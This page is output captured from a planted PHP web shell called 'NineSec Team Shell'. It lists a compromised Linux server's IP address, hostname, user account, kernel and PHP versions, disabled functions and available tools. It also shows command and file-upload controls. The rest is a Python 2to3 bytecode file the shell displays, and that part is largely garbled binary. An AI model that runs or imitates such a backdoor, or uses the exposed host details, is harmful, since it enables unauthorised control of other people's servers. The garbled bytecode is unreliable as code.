NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /opt/alt/python311/lib64/python3.11/lib2to3/fixes/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //opt/alt/python311/lib64/python3.11/lib2to3/fixes/__pycache__/fix_paren.cpython-311.opt-1.pyc
�

�f���L�dZddlmZddlmZmZGd�dej��ZdS)ztFixer that adds parentheses where they are required

This converts ``[x for x in 1, 2]`` to ``[x for x in (1, 2)]``.�)�
fixer_base)�LParen�RParenc��eZdZdZdZd�ZdS)�FixParenTa
        atom< ('[' | '(')
            (listmaker< any
                comp_for<
                    'for' NAME 'in'
                    target=testlist_safe< any (',' any)+ [',']
                     >
                    [any]
                >
            >
            |
            testlist_gexp< any
                comp_for<
                    'for' NAME 'in'
                    target=testlist_safe< any (',' any)+ [',']
                     >
                    [any]
                >
            >)
        (']' | ')') >
    c���|d}t��}|j|_d|_|�d|��|�t	����dS)N�target��)r�prefix�insert_child�append_childr)�self�node�resultsr	�lparens     �>/opt/alt/python311/lib64/python3.11/lib2to3/fixes/fix_paren.py�	transformzFixParen.transform%sY����"�������
��
���
����A�v�&�&�&����F�H�H�%�%�%�%�%�N)�__name__�
__module__�__qualname__�
BM_compatible�PATTERNr�rrrrs/�������M��G�,&�&�&�&�&rrN)�__doc__r
r�
fixer_utilrr�BaseFixrrrr�<module>rst��C�C�������'�'�'�'�'�'�'�'� &� &� &� &� &�z�!� &� &� &� &� &r

NineSec Team - 2022